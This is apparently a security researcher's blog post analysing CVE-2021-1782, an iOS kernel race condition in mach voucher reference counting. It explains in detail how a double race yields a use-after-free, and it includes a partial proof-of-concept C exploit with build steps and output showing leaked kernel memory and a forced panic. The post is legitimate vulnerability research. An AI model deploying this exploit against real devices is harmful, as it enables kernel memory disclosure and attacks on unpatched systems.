ANALYSIS AND EXPLOITATION OF THE IOS KERNEL VULNERABILITY CVE-2021-1782

Written by Luca Moro - 10/02/2021 - in Exploit , Reverse-engineering

Two weeks ago, CVE-2021-1782 was fixed by Apple. If the patch for this kernel vulnerability is simple, a way to exploit the bug was still to be discovered. This blog post aims to explain how an exploit is possible while providing a PoC.

TL/DR: You have to race twice to exploit the bug, the PoC is at the end or there.

EDIT: Well it seems that @ModernPwner just published an exploit for this vulnerability, racing us by few hours! Congrats to them! You can find their exploit here.

INTRODUCTION

A few days ago Apple released iOS 14.4, which mainly fixed security issues. At first, the release notes described three vulnerabilities that were actively exploited according to the editor, CVE-2021-1782 (Kernel), CVE-2021-1870 and CVE-2021-1870 (WebKit). The notes were updated later to include more details on the other issues.

Besides being a race condition reported by an anonymous researcher, there is not much details on CVE-2021-1782. However, because the update was light on new features, finding the kernel bug was doable by binary diffing. It quickly became public information (@s1guza) that CVE-2021-1782 was due to a lack of locks in `user_data_get_value()` in the voucher implementation.

A few days later, the publication of XNU up to dates sources (xnu-7195.81.3) gave the new code for `user_data_get_value()`:

```
switch (command) {
case MACH_VOUCHER_ATTR_REDEEM:

    /* redeem of previous values is the value */
    if (0 < prev_value_count) {
        elem = (user_data_element_t)prev_values[0];

        user_data_lock();          // the locks were added here ...
        assert(0 < elem->e_made);
        elem->e_made++;
        user_data_unlock();        // ... and here

        *out_value = (mach_voucher_attr_value_handle_t)elem;
        return KERN_SUCCESS;
    }

    /* redeem of default is default */
    *out_value = 0;
    return KERN_SUCCESS;
```

We were wondering how this bug was exploitable. At first it became clear that this section can race with itself and an `e_made` count can be lost. This is because the increment is not atomic. But then, by looking at the code, it is not really obvious how this can be leveraged to reach a potential Use-After-Free situation.

We spent some time figuring this out, and this blog post presents our results and a PoC to trigger the vulnerability.

MACH VOUCHER BASICS

VOUCHERS AS MACH OBJECTS

The Mach vouchers are not the most manifest concept of XNU, so let's start by giving a little introduction to them. We will not cover everything, but we will try to give enough information to understand why an *UaF* is not simply reachable.

A mach voucher is a kernel object used to store and represent an immutable resource. Most of the implementation of the vouchers is located in `/osfmk/ipc/ipc_voucher.c` source file. In a pure Mach fashion, a voucher can be handled in the *userland* as a mach port (`mach_voucher_t`), while the kernel uses a more complex `struct ipc_voucher` . Then, as expected, vouchers can be used in inter process communication (IPC) by sending them in mach messages.

VOUCHERS ATTRIBUTES

Behind a voucher, various kind of resources can be referenced. In the voucher lingo, these different resources are referred as attributes.

For now XNU has 4 different attribute types, `banks` , `ipc_importance` , `ipc_thread_priority` and `user_data` . For todays' blog post we will only focus on the `user_data` type of voucher that is used to store... user data as plain text.

Each attribute type comes with its own identifier, that is a key (`mach_voucher_attr_key_t`). This key is used to specify which attribute a function should work on, but more on that later. For instance "bank" attribute is accessed through the `MACH_VOUCHER_ATTR_KEY_BANK` .

Moreover, each attribute also comes with its own manager (`ipc_voucher_attr_manager_t`), which is a set of callbacks to handle the specific data under the voucher.

```
struct ipc_voucher_attr_manager {
    ipc_voucher_attr_manager_release_value_t        ivam_release_value;
    ipc_voucher_attr_manager_get_value_t            ivam_get_value;
    ipc_voucher_attr_manager_extract_content_t      ivam_extract_content;
    ipc_voucher_attr_manager_command_t              ivam_command;
    ipc_voucher_attr_manager_release_t              ivam_release;
    ipc_voucher_attr_manager_flags                  ivam_flags;
};
```

Last, but not least, a control port (`ipc_voucher_attr_control_t`) is also linked with each attributes but this is out of this post's scope. For more details on how attributes manager are registered please see the code of `ipc_register_well_known_mach_voucher_attr_manager()` .

With that in mind, we can say that the whole voucher implementation is splitted into two layers:

- The upper and generic voucher layer, responsible for the bookkeeping (counting and storing the reference) and the IPC (handling the userland/kerneland port translation)
- The inner layer specific to an attribute and handled by the attribute manager.

VOUCHER CREATION

From the userland, one can create a voucher thanks to the `host_create_mach_voucher()` mach trap:

```
kern_return_t host_create_mach_voucher(mach_port_name_t host,
    mach_voucher_attr_raw_recipe_array_t recipes,
    mach_voucher_attr_recipe_size_t recipesCnt,
    mach_port_name_t *voucher)
```

So `host_create_mach_voucher()` needs a set of one or multiple recipes (`mach_voucher_attr_recipe_data_t`). A recipe explains how the voucher should be constructed by the kernel before producing a reference to it. A recipe is made of a `command` , an attribute `key` and usually a `content` or a reference to a `previous_voucher` (but it could be both).

```
typedef struct mach_voucher_attr_recipe_data {
    mach_voucher_attr_key_t                 key;
    mach_voucher_attr_recipe_command_t      command;
    mach_voucher_name_t                     previous_voucher;
    mach_voucher_attr_content_size_t        content_size;
    uint8_t                                 content[];
} mach_voucher_attr_recipe_data_t;
```

During the voucher creation, `ipc_execute_voucher_recipe_command()` is called for each recipe of the set. It takes into account the `command` and the provided `content` or previous voucher to shape a forming voucher. The forming voucher pass through each one of the recipes and the resulting voucher is given back to the userland.

For instance, by using a recipe with the `MACH_VOUCHER_ATTR_COPY` command and a previous voucher, we get a new voucher that is a copy of the previous one. If it seems silly it's because we usually use commands that are specific to an attribute for the voucher creation. For instance, a `user_data` voucher can be made with a recipe containing the `MACH_VOUCHER_ATTR_USER_DATA_STORE` command. Here is an example of how to create such voucher:

```
struct store_recipe {
        mach_voucher_attr_recipe_data_t recipe;
        uint8_t content[1024];
};

struct store_recipe recipe = {0};
recipe.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipe.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipe.recipe.content_size = VOUCHER_CONTENT_SIZE;

strcpy(recipe.content, "SYNACKTIV");

mach_port_t port = MACH_PORT_NULL;
host_create_mach_voucher(mach_host_self(), &recipe, sizeof(recipe), &port);
```

Later the content of the voucher can be extracted back with the `mach_voucher_extract_attr_recipe()` .

VOUCHER BOOKKEEPING

Within a voucher, a value is stored with a generic `struct ivac_entry_s` :

```
struct ivac_entry_s {
    iv_value_handle_t       ivace_value;
    iv_value_refs_t         ivace_layered:1,     /* layered effective entry */
        ivace_releasing:1,                       /* release in progress */
        ivace_free:1,                            /* on freelist */
        ivace_persist:1,                         /* Persist the entry, don't count made refs */
```

```
        ivace_refs:28;                          /* reference count */
    union {
        iv_value_refs_t ivaceu_made;         /* made count (non-layered) */
        iv_index_t      ivaceu_layer;        /* next effective layer (layered) */
    } ivace_u;
    iv_index_t              ivace_next;          /* hash or freelist */
    iv_index_t              ivace_index;         /* hash head (independent) */
};
typedef struct ivac_entry_s       ivac_entry;
typedef ivac_entry              *ivac_entry_t;

#define ivace_made              ivace_u.ivaceu_made
#define ivace_layer             ivace_u.ivaceu_layer
```

Here the `ivace_value` is an opaque type that depends on the attribute stored. For instance, when used with the user_data attribute, this field stores a `user_data_element_t`.

`ivace_next` and `ivace_index` are indexes, used to retrieve the `ivac_entry_t` from different tables. However, the way the vouchers store their entries on that upper level is not really relevant to the study of CVE-2021-1782, so we will pass on it.

More interestingly, we see `ivace_refs` and `ivace_made`. `ivace_refs` represents how many live references of the `ivace_value` exist, that is to say, a refcount, which tends to fluctuate. `ivace_made` accounts for the number of time a reference is made, so this field only grows. For the sake of simplicity let's say that most of the time `ivace_made` and `ivace_refs` are incremented together using `ivace_reference_by_value()` (the more avid reader can always read `ivace_reference_by_index()` to see more nuances).

On important thing to know is that because of the immutability trait of the voucher (think read only), there is no need to store the same value twice (that is the whole concept). To avoid doing so, deduplication functions are implemented. Because the voucher layer has no idea how the value is stored by the attribute manager, this feature is usually found on both layers. For instance see `iv_dedup()` (voucher layer) and `user_data_dedup()` (manager layer). This fact also explain why we get the same `voucher_t` port when we create the same voucher twice.

THE VULNERABILITY AND THE VOUCHER RELEASE CYCLE

Now we can come back to the patch of `user_data_get_value()`. This function is the `.ivam_get_value` callback of "user_data" attribute manager. It is used during a voucher creation, to get a `user_data_element_t` from that layer.

```
struct user_data_value_element {
    mach_voucher_attr_value_reference_t     e_made;
    mach_voucher_attr_content_size_t        e_size;
    iv_index_t                              e_sum;
    iv_index_t                              e_hash;
    queue_chain_t                           e_hash_link;
    uint8_t                                 e_data[];
};

typedef struct user_data_value_element *user_data_element_t;
```

When used with the `MACH_VOUCHER_ATTR_USER_DATA_STORE` command, a new `user_data_element_t` is created by `user_data_get_value()` unless a duplicate already exists. When used with the `MACH_VOUCHER_ATTR_REDEEM` command `user_data_get_value()` fetches the value from a previous voucher (or from the forming one). In both cases, the `e_made` reference is incremented (see `user_data_dedup()`).

With the lack of `user_data_lock()`, we understand that the the vulnerability allows us to race the `e_made` increment. Indeed, by issuing two `host_create_mach_voucher()` and the command `MACH_VOUCHER_ATTR_REDEEM`, we might be able to "skip" an increment.

So the reference counting of the element might be off on the manager level. Now comes the question: how can this `user_data_element_t` be freed ? Well, let's see `user_data_release_value()` which is responsible for the release of `user_data_element_t`.

This function is only called as the `.ivam_release_value` callback in `ivace_release()`, when the `ivac_entry_t` representing the value on the upper layer is released. Here is the relevant and annotated code:

```
static void ivace_release(
    iv_index_t key_index,
    iv_index_t value_index)
{
    // [...]
    ipc_voucher_attr_control_t ivac;
    mach_voucher_attr_value_reference_t made;
    ivac_entry_t ivace;
    // [...]

    ivgt_lookup(key_index, FALSE, &ivam, &ivac);
[1]
    ivac_lock(ivac);
    // [...]
    ivace = &ivac->ivac_table[value_index];
[2]
    // [...]
    if (0 < --ivace->ivace_refs) {
[3]
        ivac_unlock(ivac);
        return;
    }
    // [...]
    value = ivace->ivace_value;
[4]

redrive:
    // [...]
    made = ivace->ivace_made;
    ivac_unlock(ivac);
[5]

    kr = (ivam->ivam_release_value)(ivam, key, value, made);
[6]

    ivac_lock(ivac);
    ivace = &ivac->ivac_table[value_index];

    /*
     * new made values raced with this return.  If the
     * manager OK'ed the prior release, we have to start
     * the made numbering over again (pretend the race
```

```
     * didn't happen). If the entry has zero refs again,
     * re-drive the release.
     */


[7]
    // [...]

[8]
    // [...]
    /* Put this entry on the freelist */
    ivace->ivace_value = 0xdeadc0dedeadc0de;
    ivace->ivace_releasing = FALSE;
    ivace->ivace_free = TRUE;
    ivace->ivace_made = 0;
    ivace->ivace_next = ivac->ivac_freelist;
    ivac->ivac_freelist = value_index;

    ivac_unlock(ivac);
    ivac_release(ivac);

    return;
}
```

- In **[1]** the manager is fetched, that's `user_data_manager`.
- In **[2]** the ivace responsible for our value is fetched.
- In **[3]** the release process stops if it's not the last reference.
- In **[4]** the `user_data_element_t` is fetched.
- In **[5]** the ivac lock is let, this gives room to a race for the ivace->ivace_made modification, but that's another story.
- In **[6]** the function `user_data_release_value()` is called with our element and `ivace->ivace_made` as argument.
- In **[7]** there is the handling of the eventual race in **[5]**, this is interesting, but out of scope for now.
- In **[8]** the ivace is removed from the ivac hash table.

Here is the relevant code for `user_data_release_value()`:

```
static kern_return_t
user_data_release_value(
    ipc_voucher_attr_manager_t              __assert_only manager,
    mach_voucher_attr_key_t                 __assert_only key,
    mach_voucher_attr_value_handle_t        value,
    mach_voucher_attr_value_reference_t     sync)
{
    // [...]
    user_data_lock();
    if (sync == elem->e_made) {
        queue_remove(&user_data_bucket[hash], elem, user_data_element_t, e_hash_link);
        user_data_unlock();
        kfree(elem, sizeof(*elem) + elem->e_size);
        return KERN_SUCCESS;
    }
    assert(sync < elem->e_made);
    user_data_unlock();
```

```
    return KERN_FAILURE;
}
```

The fact that `ivace->ivace_made` is passed as the `sync` argument is quite interesting. Indeed if `sync` does not equals to `elem->e_made`, `elem` is not freed.

Now we realize that both layers keep a made count, that should be synchronized. The general idea is that under normal operations, `elem->e_made` should match `ivace->ivace_made`. This implementation is made that way so that if a (legitimate) race happens while calling `ivace_release()`, the manager does not end up freeing the resource.

When we happen to trigger vulnerability and skip an increment, we only get an `ivace->ivace_made` larger than `elem->e_made`. This breaks the synchronization and our hopes of having an `user_data_element_t` used after free.

Well, there must be another way to "re-synchronize" the layers !

THE ANOTHER (LEGITIMATE) RACE

So far, we know that `ivace->ivace_made` is incremented in `ivace_reference_by_value()`. On the other hand `elem->e_made` is incremented via `user_data_get_value()` when we create a voucher with the `MACH_VOUCHER_ATTR_REDEEM` or `MACH_VOUCHER_ATTR_USER_DATA_STORE`.

To keep everything in sync, we expect both functions to always be called together. That is the case in `ipc_replace_voucher_value()`, called for most commands during a voucher creation:

```
/*
 *  Routine:    ipc_replace_voucher_value
 *  Purpose:
 *      Replace the <voucher, key> value with the results of
 *      running the supplied command through the resource
 *      manager's get-value callback.
 *  Conditions:
 *      Nothing locked (may invoke user-space repeatedly).
 *      Caller holds references on voucher and previous voucher.
 */
static kern_return_t
ipc_replace_voucher_value(
    ipc_voucher_t                           voucher,
    mach_voucher_attr_key_t                 key,
    mach_voucher_attr_recipe_command_t      command,
    ipc_voucher_t                           prev_voucher,
    mach_voucher_attr_content_t             content,
    mach_voucher_attr_content_size_t        content_size)
{
    // [...]

    /* save the current value stored in the forming voucher */
    save_val_index = iv_lookup(voucher, key_index);

    /*
     * Get the previous value(s) for this key creation.
     * If a previous voucher is specified, they come from there.
     * Otherwise, they come from the intermediate values already
     * in the forming voucher.
```

```
     */
    prev_val_index = (IV_NULL != prev_voucher) ?
        iv_lookup(prev_voucher, key_index) :
        save_val_index;
    ivace_lookup_values(key_index, prev_val_index,                          // [1]
        previous_vals, &previous_vals_count);

    /* Call out to resource manager to get new value */
    new_value_voucher = IV_NULL;
    kr = (ivam->ivam_get_value)(                                            // [2]
        ivam, key, command,
        previous_vals, previous_vals_count,
        content, content_size,
        &new_value, &new_flag, &new_value_voucher);

    // [...]

    /*
     * Find or create a slot in the table associated
     * with this attribute value.  The ivac reference
     * is transferred to a new value, or consumed if
     * we find a matching existing value.
     */
    val_index = ivace_reference_by_value(ivac, new_value, new_flag);        // [3]
    iv_set(voucher, key_index, val_index);


    /*
     * release saved old value from the newly forming voucher
     * This is saved until the end to avoid churning the
     * release logic in cases where the same value is returned
     * as was there before.
     */
    ivace_release(key_index, save_val_index);                               // [4]

    return KERN_SUCCESS;
}
```

In [1] we retrieved the `ivac_entry_t` associated to either the forming voucher or the `prev_voucher`. Then from that entry we pull the `user_data_element_t` `previous_vals`. At this point, we are sure that `previous_vals` can not be freed. To establish that we must understand the refcounting semantics of the `.ivace_refs`. Here there are two possibilities:

- If the considered voucher (`prev_voucher` or `voucher`) had no value, `previous_vals` is NULL. This can happen if we are storing a new value with `MACH_VOUCHER_ATTR_USER_DATA_STORE` in a new voucher that is currently empty.
- If the considered voucher had a value, it could either come from the `prev_voucher` or the forming voucher. On the first case, `prev_voucher` had to be passed through a `voucher_t` to the kernel, so we got the ivace reference that is kept within the voucher mach port. This case happens for instance when we use `MACH_VOUCHER_ATTR_COPY` or `MACH_VOUCHER_ATTR_REDEEM` and specify a prev voucher. On the second case, if the forming voucher had value, that means that we already went on an iteration of `ipc_execute_voucher_recipe_command()`. When that is the case a reference on the ivace was taken on the previous iteration via `ivace_reference_by_value()` (or `ivace_reference_by_index()`).

At **[2]**, we apply the recipe to the manager to get a new value from it (`user_data_get_value()`). With `MACH_VOUCHER_ATTR_USER_DATA_STORE` this may create a new `user_data_element_t` or reuse an existing one thanks to deduplication. With `MACH_VOUCHER_ATTR_REDEEM` , a `user_data_element_t` is reused. In both cases, after **[2]** we incremented `new_value[0]->e_made` .

At **[3]** we create or find the linked `ivac_entry_t` , then we increment `ivace->ivace_refs` and `ivace->ivace_made` .

At **[4]** we release the `ivac_entry_t` of the previous value of the forming voucher.

The semantics here are quite complex and it took us some time to figure out how this function can be used to exploit the desynchronization brought by CVE-2021-1782. Indeed, there is another tricky race condition that allows to bring back the sync, between the tempered `user_data_element_t` and its `ivac_entry_t` while making the ivac releasable.

Indeed, at **[2]** we can bump the `new_value[0]->e_made` of a value, without having a reference on the linked `ivac_entry_t yet.` To do so, let's consider the case where the vulnerability was triggered on `user_data_element_t U0` associated with the `ivac_entry_t IVAC0` on the `voucher_t V0` We have:

```
U0.e_content = "AAAA" // chosen value
U0.e_made = N // unknown

IVAC0.ivace_refs = 1
IVAC0.ivace_made = N+1 // thanks to the vulnerability
```

Then we will try to do the following actions in a race:

- Thread 1: Destroy the voucher via `mach_port_destroy(mach_task_self(), V0)` , this will trigger `ivace_release()` on `IVAC0`
- Thread 2: Create a new user_data voucher with `host_create_mach_voucher()` and the command `MACH_VOUCHER_ATTR_USER_DATA_STORE` , using the same content than on `V0` ("AAAA").

If everything triggers correctly we might have the sequence:

1. Thread 2 executes **[1]**, at this point we did not take any reference on IVAC0, as there is no value yet.
2. Thread 2 executes **[2]**, because of the deduplication U0.e_made is incremented to N+1, we still do not have any reference on `IVAC0.`
3. Thread 1 executes `ivace_release()` , consuming the last reference on it so `user_data_release_value` is called with `IVAC0.ivace_made` and `U0.e_made` matching therefore freeing `U0` .
4. Thread 2 executes **[3]** creating a new `ivac_entry_t` with `new_value` being used after free.
5. Thread 2 returns, providing the userland with a new `voucher_t` that references a freed `user_data_element_t.`

So we get our *UaF*!

It is worth pointing out that this second race is totally legitimate and not a bug in itself. We do not think there is a real issue when a prior desynchronization (caused by the vulnerability) is not doable. In the usual situation, the code handling this race properly is present in `ivace_release()` (commented out in our extract). At most, we think that some `user_data_element_t` might never be freed, but that's for the reader to find out.

EXPLOIT!

To illustrate our (complicated) explanations we provide a POC for iOS 13 that leaks kernel data at https://github.com/synacktiv/CVE-2021-1782.

The idea is to spray controlled `OSData` to cover the freed `user_data_element_t` . By controlling the `.e_size` field, we can then read back and after our data with `mach_voucher_extract_attr_recipe()` . (Thanks to Brandon Azad (@_bazad) for the helpful iosurface.c !).

```
-bash-3.2# ./voucher_leak 10000
[+] legit recipe_size:1024
```

```
[+] attempt number:0
[+] UaF after 1 attempts
[+] recipe_size was corrupted:0x13ff instead of 0x400!
07 00 00 00 D3 00 00 00  00 00 00 00 EF 13 00 00  |  ................
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA

// [...]

41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 00  |  AAAAAAAAAAAAAAA.
00 00 00 00 00 00 00 00  00 57 05 00 00 00 00 00  |  .........W......
4E CC 00 00 00 00 00 00  00 57 05 00 00 00 00 00  |  N........W......
00 00 00 00 00 00 00 00  02 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  5F 5F 75 6E 77 69 6E 64  |  ........__unwind
00 00 00 00 FF 00 00 00  80 47 C1 82 02 00 00 00  |  .........G......
EF BE AD DE 00 00 00 00  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
92 EE B7 D7 C9 EE FF C0  00 4A 17 02 E0 FF FF FF  |  .........J......
00 BC 1E 02 E0 FF FF FF  00 16 01 03 E0 FF FF FF  |  ................
00 2A 01 03 E0 FF FF FF  00 38 01 03 E0 FF FF FF  |  .*.......8......
00 10 01 03 E0 FF FF FF  00 34 01 03 E0 FF FF FF  |  .........4......
00 3E 01 03 E0 FF FF FF  00 3C 01 03 E0 FF FF FF  |  .>.......<......
00 3A 01 03 E0 FF FF FF  00 A6 13 03 E0 FF FF FF  |  .:..............
00 78 06 02 E0 FF FF FF  00 80 0D 02 E0 FF FF FF  |  .x..............
00 AC 0D 02 E0 FF FF FF  00 BA 13 03 E0 FF FF FF  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................

// [...]

EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  2F 70 72 65 66 65 72 65  |  ......../prefere
6E 63 65 73 2F 63 6F 6D  2E 61 70 70 6C 65 2E 6E  |  nces/com.apple.n
65 74 77 6F 72 6B 65 78  74 65 6E 73 69 6F 6E 2E  |  etworkextension.
75 75 69 64 63 61 63 68  65 2E 70 6C 69 73 74 00  |  uuidcache.plist.
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  EF BE AD DE EF BE AD DE  |  ................
EF BE AD DE EF BE AD DE  92 EE B7 D7 C9 EE FF C0  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
```

```
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 80 04 00 00 00  00 00 00 00 00 00 00 00  |  ................
11 00 00 00 00 00 00 00  25 00 00 00 00 00 00 00  |  ........%.......
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 03 2D 00 00  |  .............-..
00 00 06 00 00 00 00 00  00 19 16 01 E0 FF FF FF  |  ................
F0 2D 30 04 E0 FF FF FF  00 00 00 00 00 00 00 00  |  .-0.............
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
30 E0 80 32 01 00 00 00  34 00 00 00 01 00 00 00  |  0..2....4.......
01 00 00 00 01 00 00 00  00 00 00 80 01 00 00 00  |  ................
00 00 00 00 00 00 00 00  11 00 00 00 00 00 00 00  |  ................
25 00 00 00 00 00 00 00  F6 00 04 00 00 00 00 00  |  %...............
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 23 27 00 00  00 00 01 00 00 00 00 00  |  ....#'..........
00 00 00 00 00 00 00 00  F0 8F 14 00 E0 FF FF FF  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
00 00 00 00 00 00 00 00  90 38 71 02 01 00 00 00  |  .........8q.....

// [...]
```

On iOS 14 (<14.4), because of the allocator mitigation the spraying technique will not work. However, we can still spray with ools ports. But, this won't give a leak because the `.e_size` member collides with half an `ipc_port_t` pointer. This makes the size too big to be retrievable. That is because there is 5120 bytes maximum (see `mach_voucher_extract_attr_recipe_trap()` and `user_data_extract_content()`).

You can try to compile the PoC with `-DWITH_OOL` to demonstrate the vulnerability on iOS 14 (or older) by making the kernel crash. This is done by incrementing an `ipc_port_t` pointer (instead of `.e_made`) via `host_create_mach_voucher()` and a redeem command.

```
-bash-3.2# ./voucher_leak 10000
[+] legit recipe_size:1024
[+] attempt number:0
[+] attempt number:1000
[+] UaF detected with KERN_NO_SPACE!
[+] out ool ports probably got our alloc
[+] let's try to panic...
[+] 3
[+] 2
[+] 1
```

```
Connection to 127.0.0.1 closed by remote host.
Connection to 127.0.0.1 closed.
```

As expected we get the following panic on the mach message reception because the pointer alignment was broken:

```
panic(cpu 1 caller 0xXXXXXXXXXXXXXXXX): Unaligned kernel data abort. at pc 0xXXXXXXXXXXXXXXXX,
lr 0xXXXXXXXXXXXXXXXX (saved state: 0xXXXXXXXXXXXXXXXX)
```

CONCLUSION

This concluded our analysis of the patch for CVE-2021-1782. This journey led us into digging the internals of mach vouchers. Exploiting the vulnerability required to understand and trigger another (legitimate) race condition.

We suppose that it should be possible to construct a full jailbreak out of CVE-2021-1782 (and as a matter of fact some actor did). Beside, it turns out that the vulnerability is really stable and quick to trigger. So feel free to experiment with it.

We hope to have brought some light on the mach vouchers, even tough there is still a lot to cover, and we might be wrong on some aspects. If you find any mistakes in our post or discover another way to exploit the vulnerability, we would gladly hear from you, so feel free to contact us.

I would like to thanks my colleagues Eloi Benoist-Vanderbeken, Fabien Perigaud and Etienne Helluy-Lafont for their help in the making of this blog post.

POC

```
/*

This is a PoC for CVE-2021-1782, a XNU kernel vulnerability for iOS <= 14.3.
The bug is a lack of locks in user_data_get_value() on the user_data voucher attribute manager.
With a double race we can manage to get an user_data_element_t used after free.
For more details see Synacktiv's blog post on: https://www.synacktiv.com/publications/analysis-
and-exploitation-of-the-ios-kernel-vulnerabilty-cve-2021-1782.

On iOS 13 the bug will leak kernel data around an OSData allocation

To compile:

   xcrun --sdk iphoneos clang -arch arm64 -framework IOKit voucher_leak.c iosurface.c log.c -O3
-o voucher_leak
   codesign -s - voucher_leak --entitlement entitlements.xml  -f

The technique will not work on iOS 14 but if you want to demonstrate a kernel panic you can try
with -DWITH_OOL

Credits to Brandon Azad for iosurface.c iosurface.h log.c log.h IOKitLib.h

*/

#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
```

```
#include <unistd.h>

#include <mach/mach.h>



#include "iosurface.h"
#include "log.h"

#define MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE   5120
#define MACH_VOUCHER_TRAP_STACK_LIMIT                 256

#define NB_DESYNC_THREADS 2
#define REDEEM_MULTIPLE_SIZE 256
#define RECIPE_ATTR_MAX_SIZE 5120

// 1008 == 5120 - (256+1) * sizeof(mach_voucher_attr_recipe_data_t)
#define VOUCHER_CONTENT_SIZE 1008 // make a 1008 + sizeof(user_data_value_element) == 1040 byte
s kalloc()

#ifdef WITH_OOL
#define NB_MSG 128
#define NB_OOL_PORTS 130 // 130 * 8 == 1040 == 1008 + sizeof(user_data_value_element)
#define NB_DESC 1
#endif

#define ENFORCE(a, label) \
    do { \
        if (__builtin_expect(!(a), 0)) \
        { \
            ERROR("%s is false (l.%d)", #a, __LINE__); \
            goto label; \
        } \
    } while (0)

/* from https://gist.github.com/ccbrown/9722406#file-dumphex-c */
static void hexdump(const void* data, size_t size) {
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        printf("%02X ", ((unsigned char*)data)[i]);
        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char*)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i+1) % 8 == 0 || i+1 == size) {
            printf(" ");
            if ((i+1) % 16 == 0) {
                printf("|  %s \n", ascii);
            } else if (i+1 == size) {
```

```
                ascii[(i+1) % 16] = '\0';
                if ((i+1) % 16 <= 8) {
                    printf(" ");
                }
                for (j = (i+1) % 16; j < 16; ++j) {
                    printf("   ");
                }
                printf("|  %s \n", ascii);
            }
        }
    }
}

#pragma pack(push, 4)
struct store_recipe
{
        mach_voucher_attr_recipe_data_t recipe;
        uint64_t nonce;
        uint8_t padding[VOUCHER_CONTENT_SIZE-sizeof(uint64_t)];
};

struct multi_redeem_recipe
{
    mach_voucher_attr_recipe_data_t store_recipe;
    uint64_t nonce;
    uint8_t padding[VOUCHER_CONTENT_SIZE-sizeof(uint64_t)];
    mach_voucher_attr_recipe_data_t redeem_recipe[REDEEM_MULTIPLE_SIZE];
};

struct user_data_value_element
{
    uint32_t     e_made;
    uint32_t     e_size;
    uint32_t                              e_sum;
    uint32_t                              e_hash;
    uint64_t                            e_hash_link_next;
    uint64_t                            e_hash_link_prev;
    uint8_t                                  e_data[];
};
typedef struct user_data_value_element *user_data_element_t;
#pragma pack(pop)

/* this is a really lousy way of sync'ing but it works pretty ok */
enum race_sync_flag_e
{
    RACE_SYNC_STOPPED,
    RACE_SYNC_SPRAY_SETUP_READY,
    RACE_SYNC_SPRAY_GO,
    RACE_SYNC_ENTER_CRITICAL_SECTION,
    RACE_SYNC_SPRAY_DONE,
    RACE_SYNC_SPRAY_CLEANABLE,
```

```
};
typedef enum race_sync_flag_e race_sync_flag_t;



volatile uint64_t g_race_sync = 0;
volatile uint64_t g_spray_abort_flag = 0;
volatile mach_port_t g_voucher_port = MACH_PORT_NULL;



static int voucher_user_data_store(volatile mach_port_t *out_port, uint64_t nonce)
{
    struct store_recipe store_r = {0};
    store_r.recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
    store_r.recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
    store_r.recipe.content_size = VOUCHER_CONTENT_SIZE;
    store_r.nonce = nonce,
    memset(store_r.padding, 0, sizeof(store_r.padding));

    mach_port_t port = MACH_PORT_NULL;
    ENFORCE(host_create_mach_voucher(mach_host_self(), (mach_voucher_attr_raw_recipe_array_t)&s
tore_r, sizeof(store_r), &port) == KERN_SUCCESS, fail);

    *out_port = port;
    return 0;
fail:
    return -1;
}

